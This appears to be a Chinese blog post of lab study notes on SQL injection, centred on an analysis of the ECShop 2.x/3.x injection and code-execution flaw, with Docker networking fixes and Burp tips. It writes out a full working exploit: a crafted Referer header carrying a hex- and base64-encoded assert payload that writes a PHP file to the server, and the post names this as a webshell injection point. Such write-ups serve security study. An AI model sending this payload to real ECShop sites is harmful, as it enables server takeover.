SQL注入


原理

SELECT * FROM SQL_Injection WHERE id=$_GET['a']; 1 1 and 1=1 SELECT * FROM SQL_Injection WHERE name= '$_GET['a']'; boolean_blind boolean_blind' and 'a' = 'a SELECT * FROM SQL_Injection WHERE name= 'boolean_blind' and 'a' = 'a'

ECShop 2.x/3.x SQL注入/任意代码执行漏洞(Docker)分析

1:注入点和漏洞产生原因

referer 值未加判断直接引用,可被攻击者控制输入

利用_echash 为定值进行切分,构造payload

return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);

该语句使得 php 能被保存为文件并直接被执行,同时也是 webshell 注入点。

2:构造注入语句返回 phpinfo();

解码ecshop2.x 代码执行 (seebug.org)提供的webshell

修改注入语句为

file_put_contents('1.php','<?phpinfo(); ?>')

Base64封装

{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHBpbmZvKCk7ID8+Jyk='));//}xxx

转换为16进制字符以转义单引号实现注入

0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10— -

构造 Referer 字段

Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:248:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e5044397761484270626d5a764b436b374944382b4a796b3d2729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}

过程中的问题与解决:

php容器和mysql容器无法互访

解决方法:

docker 查看 compose组的网段

docker exec -it mysql ip addr #查看当前ip
docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'

外部查看ip

将ip由localhost换成通信用ip

Docker compose 内写的 depends_on mysql

也就是说alisa为mysql而不是localhost

Burp抓包的使用心得

利用repeater查看历史记录并修改历史请求重复提交

Burp有很全的encoder、decoder功能,不用找网站进行encoder、decoder了

Comments

Leave a comment